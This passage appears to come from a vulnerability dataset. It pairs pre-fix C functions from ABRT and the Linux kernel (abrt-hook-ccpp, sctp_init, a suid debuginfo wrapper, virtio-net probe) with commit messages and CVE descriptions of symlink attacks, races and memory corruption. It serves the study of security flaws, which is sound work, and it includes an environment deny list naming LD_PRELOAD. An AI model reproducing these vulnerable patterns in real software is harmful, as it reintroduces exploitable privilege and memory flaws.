* At least 2.6.18 has a bug where * argv[1] = "SIGNO CORE_SIZE_LIMIT PID ..." * argv[2] = "CORE_SIZE_LIMIT PID ..." * and so on. Fixing it: */ if (strchr(argv[1], ' ')) { int i; for (i = 1; argv[i]; i++) { strchrnul(argv[i], ' ')[0] = '\0'; } } errno = 0; const char* signal_str = argv[1]; int signal_no = xatoi_positive(signal_str); off_t ulimit_c = strtoull(argv[2], NULL, 10); if (ulimit_c < 0) /* unlimited? */ { /* set to max possible >0 value */ ulimit_c = ~((off_t)1 << (sizeof(off_t)*8-1)); } const char *pid_str = argv[3]; pid_t local_pid = xatoi_positive(argv[3]); uid_t uid = xatoi_positive(argv[4]); if (errno || local_pid <= 0) { perror_msg_and_die("PID '%s' or limit '%s' is bogus", argv[3], argv[2]); } { char *s = xmalloc_fopen_fgetline_fclose(VAR_RUN"/abrt/saved_core_pattern"); /* If we have a saved pattern and it's not a "|PROG ARGS" thing... */ if (s && s[0] != '|') core_basename = s; else free(s); } const char *global_pid_str = argv[8]; pid_t pid = xatoi_positive(argv[8]); pid_t tid = -1; const char *tid_str = argv[9]; if (tid_str) { tid = xatoi_positive(tid_str); } char path[PATH_MAX]; char *executable = get_executable(pid); if (executable && strstr(executable, "/abrt-hook-ccpp")) { error_msg_and_die("PID %lu is '%s', not dumping it to avoid recursion", (long)pid, executable); } user_pwd = get_cwd(pid); /* may be NULL on error */ log_notice("user_pwd:'%s'", user_pwd); sprintf(path, "/proc/%lu/status", (long)pid); char *proc_pid_status = xmalloc_xopen_read_close(path, /*maxsz:*/ NULL); uid_t fsuid = uid; uid_t tmp_fsuid = get_fsuid(proc_pid_status); if (tmp_fsuid < 0) perror_msg_and_die("Can't parse 'Uid: line' in /proc/%lu/status", (long)pid); const int fsgid = get_fsgid(proc_pid_status); if (fsgid < 0) error_msg_and_die("Can't parse 'Gid: line' in /proc/%lu/status", (long)pid); int suid_policy = dump_suid_policy(); if (tmp_fsuid != uid) { /* use root for suided apps unless it's explicitly set to UNSAFE */ fsuid = 0; if (suid_policy == DUMP_SUID_UNSAFE) fsuid = tmp_fsuid; else { g_user_core_flags = O_EXCL; g_need_nonrelative = 1; } } /* Open a fd to compat coredump, if requested and is possible */ int user_core_fd = -1; if (setting_MakeCompatCore && ulimit_c != 0) /* note: checks "user_pwd == NULL" inside; updates core_basename */ user_core_fd = open_user_core(uid, fsuid, fsgid, pid, &argv[1]); if (executable == NULL) { /* readlink on /proc/$PID/exe failed, don't create abrt dump dir */ error_msg("Can't read /proc/%lu/exe link", (long)pid); return create_user_core(user_core_fd, pid, ulimit_c); } const char *signame = NULL; if (!signal_is_fatal(signal_no, &signame)) return create_user_core(user_core_fd, pid, ulimit_c); // not a signal we care about const int abrtd_running = daemon_is_ok(); if (!setting_StandaloneHook && !abrtd_running) { /* not an error, exit with exit code 0 */ log("abrtd is not running. If it crashed, " "/proc/sys/kernel/core_pattern contains a stale value, " "consider resetting it to 'core'" ); return create_user_core(user_core_fd, pid, ulimit_c); } if (setting_StandaloneHook) ensure_writable_dir(g_settings_dump_location, DEFAULT_DUMP_LOCATION_MODE, "abrt"); if (g_settings_nMaxCrashReportsSize > 0) { /* If free space is less than 1/4 of MaxCrashReportsSize... */ if (low_free_space(g_settings_nMaxCrashReportsSize, g_settings_dump_location)) return create_user_core(user_core_fd, pid, ulimit_c); } /* Check /var/tmp/abrt/last-ccpp marker, do not dump repeated crashes * if they happen too often. Else, write new marker value. */ snprintf(path, sizeof(path), "%s/last-ccpp", g_settings_dump_location); if (check_recent_crash_file(path, executable)) { /* It is a repeating crash */ return create_user_core(user_core_fd, pid, ulimit_c); } const char *last_slash = strrchr(executable, '/'); if (last_slash && strncmp(++last_slash, "abrt", 4) == 0) { if (g_settings_debug_level == 0) { log_warning("Ignoring crash of %s (SIG%s).", executable, signame ? signame : signal_str); goto cleanup_and_exit; } /* If abrtd/abrt-foo crashes, we don't want to create a _directory_, * since that can make new copy of abrtd to process it, * and maybe crash again... * Unlike dirs, mere files are ignored by abrtd. */ if (snprintf(path, sizeof(path), "%s/%s-coredump", g_settings_dump_location, last_slash) >= sizeof(path)) error_msg_and_die("Error saving '%s': truncated long file path", path); int abrt_core_fd = xopen3(path, O_WRONLY | O_CREAT | O_TRUNC, 0600); off_t core_size = copyfd_eof(STDIN_FILENO, abrt_core_fd, COPYFD_SPARSE); if (core_size < 0 || fsync(abrt_core_fd) != 0) { unlink(path); /* copyfd_eof logs the error including errno string, * but it does not log file name */ error_msg_and_die("Error saving '%s'", path); } log_notice("Saved core dump of pid %lu (%s) to %s (%llu bytes)", (long)pid, executable, path, (long long)core_size); err = 0; goto cleanup_and_exit; } unsigned path_len = snprintf(path, sizeof(path), "%s/ccpp-%s-%lu.new", g_settings_dump_location, iso_date_string(NULL), (long)pid); if (path_len >= (sizeof(path) - sizeof("/"FILENAME_COREDUMP))) { return create_user_core(user_core_fd, pid, ulimit_c); } /* If you don't want to have fs owner as root then: * * - use fsuid instead of uid for fs owner, so we don't expose any * sensitive information of suided app in /var/(tmp|spool)/abrt * * - use dd_create_skeleton() and dd_reset_ownership(), when you finish * creating the new dump directory, to prevent the real owner to write to * the directory until the hook is done (avoid race conditions and defend * hard and symbolic link attacs) */ dd = dd_create(path, /*fs owner*/0, DEFAULT_DUMP_DIR_MODE); if (dd) { char source_filename[sizeof("/proc/%lu/somewhat_long_name") + sizeof(long)*3]; int source_base_ofs = sprintf(source_filename, "/proc/%lu/root", (long)pid); source_base_ofs -= strlen("root"); /* What's wrong on using /proc/[pid]/root every time ?*/ /* It creates os_info_in_root_dir for all crashes. */ char *rootdir = process_has_own_root(pid) ? get_rootdir(pid) : NULL; /* Reading data from an arbitrary root directory is not secure. */ if (g_settings_explorechroots) { /* Yes, test 'rootdir' but use 'source_filename' because 'rootdir' can * be '/' for a process with own namespace. 'source_filename' is /proc/[pid]/root. */ dd_create_basic_files(dd, fsuid, (rootdir != NULL) ? source_filename : NULL); } else { dd_create_basic_files(dd, fsuid, NULL); } char *dest_filename = concat_path_file(dd->dd_dirname, "also_somewhat_longish_name"); char *dest_base = strrchr(dest_filename, '/') + 1; strcpy(source_filename + source_base_ofs, "maps"); dd_copy_file(dd, FILENAME_MAPS, source_filename); strcpy(source_filename + source_base_ofs, "limits"); dd_copy_file(dd, FILENAME_LIMITS, source_filename); strcpy(source_filename + source_base_ofs, "cgroup"); dd_copy_file(dd, FILENAME_CGROUP, source_filename); strcpy(source_filename + source_base_ofs, "mountinfo"); dd_copy_file(dd, FILENAME_MOUNTINFO, source_filename); strcpy(dest_base, FILENAME_OPEN_FDS); strcpy(source_filename + source_base_ofs, "fd"); dump_fd_info_ext(dest_filename, source_filename, dd->dd_uid, dd->dd_gid); strcpy(dest_base, FILENAME_NAMESPACES); dump_namespace_diff_ext(dest_filename, 1, pid, dd->dd_uid, dd->dd_gid); free(dest_filename); char *tmp = NULL; get_env_variable(pid, "container", &tmp); if (tmp != NULL) { dd_save_text(dd, FILENAME_CONTAINER, tmp); free(tmp); tmp = NULL; } get_env_variable(pid, "container_uuid", &tmp); if (tmp != NULL) { dd_save_text(dd, FILENAME_CONTAINER_UUID, tmp); free(tmp); } /* There's no need to compare mount namespaces and search for '/' in * mountifo. Comparison of inodes of '/proc/[pid]/root' and '/' works * fine. If those inodes do not equal each other, we have to verify * that '/proc/[pid]/root' is not a symlink to a chroot. */ const int containerized = (rootdir != NULL && strcmp(rootdir, "/") == 0); if (containerized) { log_debug("Process %d is considered to be containerized", pid); pid_t container_pid; if (get_pid_of_container(pid, &container_pid) == 0) { char *container_cmdline = get_cmdline(container_pid); dd_save_text(dd, FILENAME_CONTAINER_CMDLINE, container_cmdline); free(container_cmdline); } } dd_save_text(dd, FILENAME_ANALYZER, "abrt-ccpp"); dd_save_text(dd, FILENAME_TYPE, "CCpp"); dd_save_text(dd, FILENAME_EXECUTABLE, executable); dd_save_text(dd, FILENAME_PID, pid_str); dd_save_text(dd, FILENAME_GLOBAL_PID, global_pid_str); dd_save_text(dd, FILENAME_PROC_PID_STATUS, proc_pid_status); if (user_pwd) dd_save_text(dd, FILENAME_PWD, user_pwd); if (tid_str) dd_save_text(dd, FILENAME_TID, tid_str); if (rootdir) { if (strcmp(rootdir, "/") != 0) dd_save_text(dd, FILENAME_ROOTDIR, rootdir); } free(rootdir); char *reason = xasprintf("%s killed by SIG%s", last_slash, signame ? signame : signal_str); dd_save_text(dd, FILENAME_REASON, reason); free(reason); char *cmdline = get_cmdline(pid); dd_save_text(dd, FILENAME_CMDLINE, cmdline ? : ""); free(cmdline); char *environ = get_environ(pid); dd_save_text(dd, FILENAME_ENVIRON, environ ? : ""); free(environ); char *fips_enabled = xmalloc_fopen_fgetline_fclose("/proc/sys/crypto/fips_enabled"); if (fips_enabled) { if (strcmp(fips_enabled, "0") != 0) dd_save_text(dd, "fips_enabled", fips_enabled); free(fips_enabled); } dd_save_text(dd, FILENAME_ABRT_VERSION, VERSION); /* In case of errors, treat the process as if it has locked memory */ long unsigned lck_bytes = ULONG_MAX; const char *vmlck = strstr(proc_pid_status, "VmLck:"); if (vmlck == NULL) error_msg("/proc/%s/status does not contain 'VmLck:' line", pid_str); else if (1 != sscanf(vmlck + 6, "%lu kB\n", &lck_bytes)) error_msg("Failed to parse 'VmLck:' line in /proc/%s/status", pid_str); if (lck_bytes) { log_notice("Process %s of user %lu has locked memory", pid_str, (long unsigned)uid); dd_mark_as_notreportable(dd, "The process had locked memory " "which usually indicates efforts to protect sensitive " "data (passwords) from being written to disk.\n" "In order to avoid sensitive information leakages, " "ABRT will not allow you to report this problem to " "bug tracking tools"); } if (setting_SaveBinaryImage) { if (save_crashing_binary(pid, dd)) { error_msg("Error saving '%s'", path); goto cleanup_and_exit; } } off_t core_size = 0; if (setting_SaveFullCore) { strcpy(path + path_len, "/"FILENAME_COREDUMP); int abrt_core_fd = create_or_die(path, user_core_fd); /* We write both coredumps at once. * We can't write user coredump first, since it might be truncated * and thus can't be copied and used as abrt coredump; * and if we write abrt coredump first and then copy it as user one, * then we have a race when process exits but coredump does not exist yet: * $ echo -e '#include<signal.h>\nmain(){raise(SIGSEGV);}' | gcc -o test -x c - * $ rm -f core*; ulimit -c unlimited; ./test; ls -l core* * 21631 Segmentation fault (core dumped) ./test * ls: cannot access core*: No such file or directory <=== BAD */ core_size = copyfd_sparse(STDIN_FILENO, abrt_core_fd, user_core_fd, ulimit_c); close_user_core(user_core_fd, core_size); if (fsync(abrt_core_fd) != 0 || close(abrt_core_fd) != 0 || core_size < 0) { unlink(path); /* copyfd_sparse logs the error including errno string, * but it does not log file name */ error_msg("Error writing '%s'", path); goto cleanup_and_exit; } } else { /* User core is created even if WriteFullCore is off. */ create_user_core(user_core_fd, pid, ulimit_c); } /* User core is either written or closed */ user_core_fd = -1; /* * ! No other errors should cause removal of the user core ! */ /* Because of #1211835 and #1126850 */ #if 0 /* Save JVM crash log if it exists. (JVM's coredump per se * is nearly useless for JVM developers) */ { char *java_log = xasprintf("/tmp/jvm-%lu/hs_error.log", (long)pid); int src_fd = open(java_log, O_RDONLY); free(java_log); /* If we couldn't open the error log in /tmp directory we can try to * read the log from the current directory. It may produce AVC, it * may produce some error log but all these are expected. */ if (src_fd < 0) { java_log = xasprintf("%s/hs_err_pid%lu.log", user_pwd, (long)pid); src_fd = open(java_log, O_RDONLY); free(java_log); } if (src_fd >= 0) { strcpy(path + path_len, "/hs_err.log"); int dst_fd = create_or_die(path, user_core_fd); off_t sz = copyfd_eof(src_fd, dst_fd, COPYFD_SPARSE); if (close(dst_fd) != 0 || sz < 0) { error_msg("Error saving '%s'", path); goto cleanup_and_exit; } close(src_fd); } } #endif /* Perform crash-time unwind of the guilty thread. */ if (tid > 0 && setting_CreateCoreBacktrace) create_core_backtrace(tid, executable, signal_no, dd); /* We close dumpdir before we start catering for crash storm case. * Otherwise, delete_dump_dir's from other concurrent * CCpp's won't be able to delete our dump (their delete_dump_dir * will wait for us), and we won't be able to delete their dumps. * Classic deadlock. */ dd_close(dd); dd = NULL; path[path_len] = '\0'; /* path now contains only directory name */ if (abrtd_running && setting_SaveContainerizedPackageData && containerized) { /* Do we really need to run rpm from core_pattern hook? */ sprintf(source_filename, "/proc/%lu/root", (long)pid); const char *cmd_args[6]; cmd_args[0] = BIN_DIR"/abrt-action-save-package-data"; cmd_args[1] = "-d"; cmd_args[2] = path; cmd_args[3] = "-r"; cmd_args[4] = source_filename; cmd_args[5] = NULL; pid_t pid = fork_execv_on_steroids(0, (char **)cmd_args, NULL, NULL, path, 0); int stat; safe_waitpid(pid, &stat, 0); } char *newpath = xstrndup(path, path_len - (sizeof(".new")-1)); if (rename(path, newpath) == 0) strcpy(path, newpath); free(newpath); if (core_size > 0) log_notice("Saved core dump of pid %lu (%s) to %s (%llu bytes)", (long)pid, executable, path, (long long)core_size); if (abrtd_running) notify_new_path(path); /* rhbz#539551: "abrt going crazy when crashing process is respawned" */ if (g_settings_nMaxCrashReportsSize > 0) { /* x1.25 and round up to 64m: go a bit up, so that usual in-daemon trimming * kicks in first, and we don't "fight" with it: */ unsigned maxsize = g_settings_nMaxCrashReportsSize + g_settings_nMaxCrashReportsSize / 4; maxsize |= 63; trim_problem_dirs(g_settings_dump_location, maxsize * (double)(1024*1024), path); } err = 0; } else { /* We didn't create abrt dump, but may need to create compat coredump */ return create_user_core(user_core_fd, pid, ulimit_c); } cleanup_and_exit: if (dd) dd_delete(dd); if (user_core_fd >= 0) unlinkat(dirfd(proc_cwd), core_basename, /*only files*/0); if (proc_cwd != NULL) closedir(proc_cwd); return err; }

None

CVE-2015-5287

The abrt-hook-ccpp help program in Automatic Bug Reporting Tool (ABRT) before 2.7.1 allows local users with certain permissions to gain privileges via a symlink attack on a file with a predictable name, as demonstrated by /var/tmp/abrt/abrt-hax-coredump or /var/spool/abrt/abrt-hax-coredump.

https://nvd.nist.gov/vuln/detail/CVE-2015-5287

linux

8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4

sctp: fix race on protocol/netns initialization Consider sctp module is unloaded and is being requested because an user is creating a sctp socket. During initialization, sctp will add the new protocol type and then initialize pernet subsys: status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); The problem is that after those calls to sctp_v{4,6}_protosw_init(), it is possible for userspace to create SCTP sockets like if the module is already fully loaded. If that happens, one of the possible effects is that we will have readers for net->sctp.local_addr_list list earlier than expected and sctp_net_init() does not take precautions while dealing with that list, leading to a potential panic but not limited to that, as sctp_sock_init() will copy a bunch of blank/partially initialized values from net->sctp. The race happens like this: CPU 0 | CPU 1 socket() | __sock_create | socket() inet_create | __sock_create list_for_each_entry_rcu( | answer, &inetsw[sock->type], | list) { | inet_create /* no hits */ | if (unlikely(err)) { | ... | request_module() | /* socket creation is blocked | * the module is fully loaded | */ | sctp_init | sctp_v4_protosw_init | inet_register_protosw | list_add_rcu(&p->list, | last_perm); | | list_for_each_entry_rcu( | answer, &inetsw[sock->type], sctp_v6_protosw_init | list) { | /* hit, so assumes protocol | * is already loaded | */ | /* socket creation continues | * before netns is initialized | */ register_pernet_subsys | Simply inverting the initialization order between register_pernet_subsys() and sctp_v4_protosw_init() is not possible because register_pernet_subsys() will create a control sctp socket, so the protocol must be already visible by then. Deferring the socket creation to a work-queue is not good specially because we loose the ability to handle its errors. So, as suggested by Vlad, the fix is to split netns initialization in two moments: defaults and control socket, so that the defaults are already loaded by when we register the protocol, while control socket initialization is kept at the same moment it is today. Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") Signed-off-by: Vlad Yasevich <vyasevich@gmail.com> Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>

static __init int sctp_init(void) { int i; int status = -EINVAL; unsigned long goal; unsigned long limit; int max_share; int order; sock_skb_cb_check_size(sizeof(struct sctp_ulpevent)); /* Allocate bind_bucket and chunk caches. */ status = -ENOBUFS; sctp_bucket_cachep = kmem_cache_create("sctp_bind_bucket", sizeof(struct sctp_bind_bucket), 0, SLAB_HWCACHE_ALIGN, NULL); if (!sctp_bucket_cachep) goto out; sctp_chunk_cachep = kmem_cache_create("sctp_chunk", sizeof(struct sctp_chunk), 0, SLAB_HWCACHE_ALIGN, NULL); if (!sctp_chunk_cachep) goto err_chunk_cachep; status = percpu_counter_init(&sctp_sockets_allocated, 0, GFP_KERNEL); if (status) goto err_percpu_counter_init; /* Implementation specific variables. */ /* Initialize default stream count setup information. */ sctp_max_instreams = SCTP_DEFAULT_INSTREAMS; sctp_max_outstreams = SCTP_DEFAULT_OUTSTREAMS; /* Initialize handle used for association ids. */ idr_init(&sctp_assocs_id); limit = nr_free_buffer_pages() / 8; limit = max(limit, 128UL); sysctl_sctp_mem[0] = limit / 4 * 3; sysctl_sctp_mem[1] = limit; sysctl_sctp_mem[2] = sysctl_sctp_mem[0] * 2; /* Set per-socket limits to no more than 1/128 the pressure threshold*/ limit = (sysctl_sctp_mem[1]) << (PAGE_SHIFT - 7); max_share = min(4UL*1024*1024, limit); sysctl_sctp_rmem[0] = SK_MEM_QUANTUM; /* give each asoc 1 page min */ sysctl_sctp_rmem[1] = 1500 * SKB_TRUESIZE(1); sysctl_sctp_rmem[2] = max(sysctl_sctp_rmem[1], max_share); sysctl_sctp_wmem[0] = SK_MEM_QUANTUM; sysctl_sctp_wmem[1] = 16*1024; sysctl_sctp_wmem[2] = max(64*1024, max_share); /* Size and allocate the association hash table. * The methodology is similar to that of the tcp hash tables. */ if (totalram_pages >= (128 * 1024)) goal = totalram_pages >> (22 - PAGE_SHIFT); else goal = totalram_pages >> (24 - PAGE_SHIFT); for (order = 0; (1UL << order) < goal; order++) ; do { sctp_assoc_hashsize = (1UL << order) * PAGE_SIZE / sizeof(struct sctp_hashbucket); if ((sctp_assoc_hashsize > (64 * 1024)) && order > 0) continue; sctp_assoc_hashtable = (struct sctp_hashbucket *) __get_free_pages(GFP_ATOMIC|__GFP_NOWARN, order); } while (!sctp_assoc_hashtable && --order > 0); if (!sctp_assoc_hashtable) { pr_err("Failed association hash alloc\n"); status = -ENOMEM; goto err_ahash_alloc; } for (i = 0; i < sctp_assoc_hashsize; i++) { rwlock_init(&sctp_assoc_hashtable[i].lock); INIT_HLIST_HEAD(&sctp_assoc_hashtable[i].chain); } /* Allocate and initialize the endpoint hash table. */ sctp_ep_hashsize = 64; sctp_ep_hashtable = kmalloc(64 * sizeof(struct sctp_hashbucket), GFP_KERNEL); if (!sctp_ep_hashtable) { pr_err("Failed endpoint_hash alloc\n"); status = -ENOMEM; goto err_ehash_alloc; } for (i = 0; i < sctp_ep_hashsize; i++) { rwlock_init(&sctp_ep_hashtable[i].lock); INIT_HLIST_HEAD(&sctp_ep_hashtable[i].chain); } /* Allocate and initialize the SCTP port hash table. */ do { sctp_port_hashsize = (1UL << order) * PAGE_SIZE / sizeof(struct sctp_bind_hashbucket); if ((sctp_port_hashsize > (64 * 1024)) && order > 0) continue; sctp_port_hashtable = (struct sctp_bind_hashbucket *) __get_free_pages(GFP_ATOMIC|__GFP_NOWARN, order); } while (!sctp_port_hashtable && --order > 0); if (!sctp_port_hashtable) { pr_err("Failed bind hash alloc\n"); status = -ENOMEM; goto err_bhash_alloc; } for (i = 0; i < sctp_port_hashsize; i++) { spin_lock_init(&sctp_port_hashtable[i].lock); INIT_HLIST_HEAD(&sctp_port_hashtable[i].chain); } pr_info("Hash tables configured (established %d bind %d)\n", sctp_assoc_hashsize, sctp_port_hashsize); sctp_sysctl_register(); INIT_LIST_HEAD(&sctp_address_families); sctp_v4_pf_init(); sctp_v6_pf_init(); status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); if (status) goto err_register_pernet_subsys; status = sctp_v4_add_protocol(); if (status) goto err_add_protocol; /* Register SCTP with inet6 layer. */ status = sctp_v6_add_protocol(); if (status) goto err_v6_add_protocol; out: return status; err_v6_add_protocol: sctp_v4_del_protocol(); err_add_protocol: unregister_pernet_subsys(&sctp_net_ops); err_register_pernet_subsys: sctp_v6_protosw_exit(); err_v6_protosw_init: sctp_v4_protosw_exit(); err_protosw_init: sctp_v4_pf_exit(); sctp_v6_pf_exit(); sctp_sysctl_unregister(); free_pages((unsigned long)sctp_port_hashtable, get_order(sctp_port_hashsize * sizeof(struct sctp_bind_hashbucket))); err_bhash_alloc: kfree(sctp_ep_hashtable); err_ehash_alloc: free_pages((unsigned long)sctp_assoc_hashtable, get_order(sctp_assoc_hashsize * sizeof(struct sctp_hashbucket))); err_ahash_alloc: percpu_counter_destroy(&sctp_sockets_allocated); err_percpu_counter_init: kmem_cache_destroy(sctp_chunk_cachep); err_chunk_cachep: kmem_cache_destroy(sctp_bucket_cachep); goto out; }

protocol.c

CVE-2015-5283

The sctp_init function in net/sctp/protocol.c in the Linux kernel before 4.2.3 has an incorrect sequence of protocol-initialization steps, which allows local users to cause a denial of service (panic or memory corruption) by creating SCTP sockets before all of the steps have finished.

https://nvd.nist.gov/vuln/detail/CVE-2015-5283

abrt

50ee8130fb4cd4ef1af7682a2c85dd99cb99424e

https://github.com/abrt/abrt

https://github.com/abrt/abrt/commit/50ee8130fb4cd4ef1af7682a2c85dd99cb99424e

a-a-i-d-to-abrt-cache: make own random temporary directory The set-user-ID wrapper must use own new temporary directory in order to avoid security issues with unpacking specially crafted debuginfo packages that might be used to create files or symlinks anywhere on the file system as the abrt user. Withot the forking code the temporary directory would remain on the filesystem in the case where all debuginfo data are already available. This is caused by the fact that the underlying libreport functionality accepts path to a desired temporary directory and creates it only if necessary. Otherwise, the directory is not touched at all. This commit addresses CVE-2015-5273 Signed-off-by: Jakub Filak <jfilak@redhat.com>

int main(int argc, char **argv) { /* I18n */ setlocale(LC_ALL, ""); #if ENABLE_NLS bindtextdomain(PACKAGE, LOCALEDIR); textdomain(PACKAGE); #endif abrt_init(argv); /* Can't keep these strings/structs static: _() doesn't support that */ const char *program_usage_string = _( "& [-y] [-i BUILD_IDS_FILE|-i -] [-e PATH[:PATH]...]\n" "\t[-r REPO]\n" "\n" "Installs debuginfo packages for all build-ids listed in BUILD_IDS_FILE to\n" "ABRT system cache." ); enum { OPT_v = 1 << 0, OPT_y = 1 << 1, OPT_i = 1 << 2, OPT_e = 1 << 3, OPT_r = 1 << 4, OPT_s = 1 << 5, }; const char *build_ids = "build_ids"; const char *exact = NULL; const char *repo = NULL; const char *size_mb = NULL; struct options program_options[] = { OPT__VERBOSE(&g_verbose), OPT_BOOL ('y', "yes", NULL, _("Noninteractive, assume 'Yes' to all questions")), OPT_STRING('i', "ids", &build_ids, "BUILD_IDS_FILE", _("- means STDIN, default: build_ids")), OPT_STRING('e', "exact", &exact, "EXACT", _("Download only specified files")), OPT_STRING('r', "repo", &repo, "REPO", _("Pattern to use when searching for repos, default: *debug*")), OPT_STRING('s', "size_mb", &size_mb, "SIZE_MB", _("Ignored option")), OPT_END() }; const unsigned opts = parse_opts(argc, argv, program_options, program_usage_string); const gid_t egid = getegid(); const gid_t rgid = getgid(); const uid_t euid = geteuid(); const gid_t ruid = getuid(); /* We need to open the build ids file under the caller's UID/GID to avoid * information disclosures when reading files with changed UID. * Unfortunately, we cannot replace STDIN with the new fd because ABRT uses * STDIN to communicate with the caller. So, the following code opens a * dummy file descriptor to the build ids file and passes the new fd's proc * path to the wrapped program in the ids argument. * The new fd remains opened, the OS will close it for us. */ char *build_ids_self_fd = NULL; if (strcmp("-", build_ids) != 0) { if (setregid(egid, rgid) < 0) perror_msg_and_die("setregid(egid, rgid)"); if (setreuid(euid, ruid) < 0) perror_msg_and_die("setreuid(euid, ruid)"); const int build_ids_fd = open(build_ids, O_RDONLY); if (setregid(rgid, egid) < 0) perror_msg_and_die("setregid(rgid, egid)"); if (setreuid(ruid, euid) < 0 ) perror_msg_and_die("setreuid(ruid, euid)"); if (build_ids_fd < 0) perror_msg_and_die("Failed to open file '%s'", build_ids); /* We are not going to free this memory. There is no place to do so. */ build_ids_self_fd = xasprintf("/proc/self/fd/%d", build_ids_fd); } /* name, -v, --ids, -, -y, -e, EXACT, -r, REPO, --, NULL */ const char *args[11]; { const char *verbs[] = { "", "-v", "-vv", "-vvv" }; unsigned i = 0; args[i++] = EXECUTABLE; args[i++] = "--ids"; args[i++] = (build_ids_self_fd != NULL) ? build_ids_self_fd : "-"; if (g_verbose > 0) args[i++] = verbs[g_verbose <= 3 ? g_verbose : 3]; if ((opts & OPT_y)) args[i++] = "-y"; if ((opts & OPT_e)) { args[i++] = "--exact"; args[i++] = exact; } if ((opts & OPT_r)) { args[i++] = "--repo"; args[i++] = repo; } args[i++] = "--"; args[i] = NULL; } /* Switch real user/group to effective ones. * Otherwise yum library gets confused - gets EPERM (why??). */ /* do setregid only if we have to, to not upset selinux needlessly */ if (egid != rgid) IGNORE_RESULT(setregid(egid, egid)); if (euid != ruid) { IGNORE_RESULT(setreuid(euid, euid)); /* We are suid'ed! */ /* Prevent malicious user from messing up with suid'ed process: */ #if 1 static const char *whitelist[] = { "REPORT_CLIENT_SLAVE", // Check if the app is being run as a slave "LANG", }; const size_t wlsize = sizeof(whitelist)/sizeof(char*); char *setlist[sizeof(whitelist)/sizeof(char*)] = { 0 }; char *p = NULL; for (size_t i = 0; i < wlsize; i++) if ((p = getenv(whitelist[i])) != NULL) setlist[i] = xstrdup(p); clearenv(); for (size_t i = 0; i < wlsize; i++) if (setlist[i] != NULL) { xsetenv(whitelist[i], setlist[i]); free(setlist[i]); } #else /* Clear dangerous stuff from env */ static const char forbid[] = "LD_LIBRARY_PATH" "\0" "LD_PRELOAD" "\0" "LD_TRACE_LOADED_OBJECTS" "\0" "LD_BIND_NOW" "\0" "LD_AOUT_LIBRARY_PATH" "\0" "LD_AOUT_PRELOAD" "\0" "LD_NOWARN" "\0" "LD_KEEPDIR" "\0" ; const char *p = forbid; do { unsetenv(p); p += strlen(p) + 1; } while (*p); #endif /* Set safe PATH */ char path_env[] = "PATH=/usr/sbin:/sbin:/usr/bin:/bin:"BIN_DIR":"SBIN_DIR; if (euid != 0) strcpy(path_env, "PATH=/usr/bin:/bin:"BIN_DIR); putenv(path_env); /* Use safe umask */ umask(0022); } execvp(EXECUTABLE, (char **)args); error_msg_and_die("Can't execute %s", EXECUTABLE); }

None

CVE-2015-5273

The abrt-action-install-debuginfo-to-abrt-cache help program in Automatic Bug Reporting Tool (ABRT) before 2.7.1 allows local users to write to arbitrary files via a symlink attack on unpacked.cpio in a pre-created directory with a predictable name in /var/tmp.

https://nvd.nist.gov/vuln/detail/CVE-2015-5273

linux

48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39

virtio-net: drop NETIF_F_FRAGLIST virtio declares support for NETIF_F_FRAGLIST, but assumes that there are at most MAX_SKB_FRAGS + 2 fragments which isn't always true with a fraglist. A longer fraglist in the skb will make the call to skb_to_sgvec overflow the sg array, leading to memory corruption. Drop NETIF_F_FRAGLIST so we only get what we can handle. Cc: Michael S. Tsirkin <mst@redhat.com> Signed-off-by: Jason Wang <jasowang@redhat.com> Acked-by: Michael S. Tsirkin <mst@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>

static int virtnet_probe(struct virtio_device *vdev) { int i, err; struct net_device *dev; struct virtnet_info *vi; u16 max_queue_pairs; if (!vdev->config->get) { dev_err(&vdev->dev, "%s failure: config access disabled\n", __func__); return -EINVAL; } if (!virtnet_validate_features(vdev)) return -EINVAL; /* Find if host supports multiqueue virtio_net device */ err = virtio_cread_feature(vdev, VIRTIO_NET_F_MQ, struct virtio_net_config, max_virtqueue_pairs, &max_queue_pairs); /* We need at least 2 queue's */ if (err || max_queue_pairs < VIRTIO_NET_CTRL_MQ_VQ_PAIRS_MIN || max_queue_pairs > VIRTIO_NET_CTRL_MQ_VQ_PAIRS_MAX || !virtio_has_feature(vdev, VIRTIO_NET_F_CTRL_VQ)) max_queue_pairs = 1; /* Allocate ourselves a network device with room for our info */ dev = alloc_etherdev_mq(sizeof(struct virtnet_info), max_queue_pairs); if (!dev) return -ENOMEM; /* Set up network device as normal. */ dev->priv_flags |= IFF_UNICAST_FLT | IFF_LIVE_ADDR_CHANGE; dev->netdev_ops = &virtnet_netdev; dev->features = NETIF_F_HIGHDMA; dev->ethtool_ops = &virtnet_ethtool_ops; SET_NETDEV_DEV(dev, &vdev->dev); /* Do we support "hardware" checksums? */ if (virtio_has_feature(vdev, VIRTIO_NET_F_CSUM)) { /* This opens up the world of extra features. */ dev->hw_features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; if (csum) dev->features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; if (virtio_has_feature(vdev, VIRTIO_NET_F_GSO)) { dev->hw_features |= NETIF_F_TSO | NETIF_F_UFO | NETIF_F_TSO_ECN | NETIF_F_TSO6; } /* Individual feature bits: what can host handle? */ if (virtio_has_feature(vdev, VIRTIO_NET_F_HOST_TSO4)) dev->hw_features |= NETIF_F_TSO; if (virtio_has_feature(vdev, VIRTIO_NET_F_HOST_TSO6)) dev->hw_features |= NETIF_F_TSO6; if (virtio_has_feature(vdev, VIRTIO_NET_F_HOST_ECN)) dev->hw_features |= NETIF_F_TSO_ECN; if (virtio_has_feature(vdev, VIRTIO_NET_F_HOST_UFO)) dev->hw_features |= NETIF_F_UFO; dev->features |= 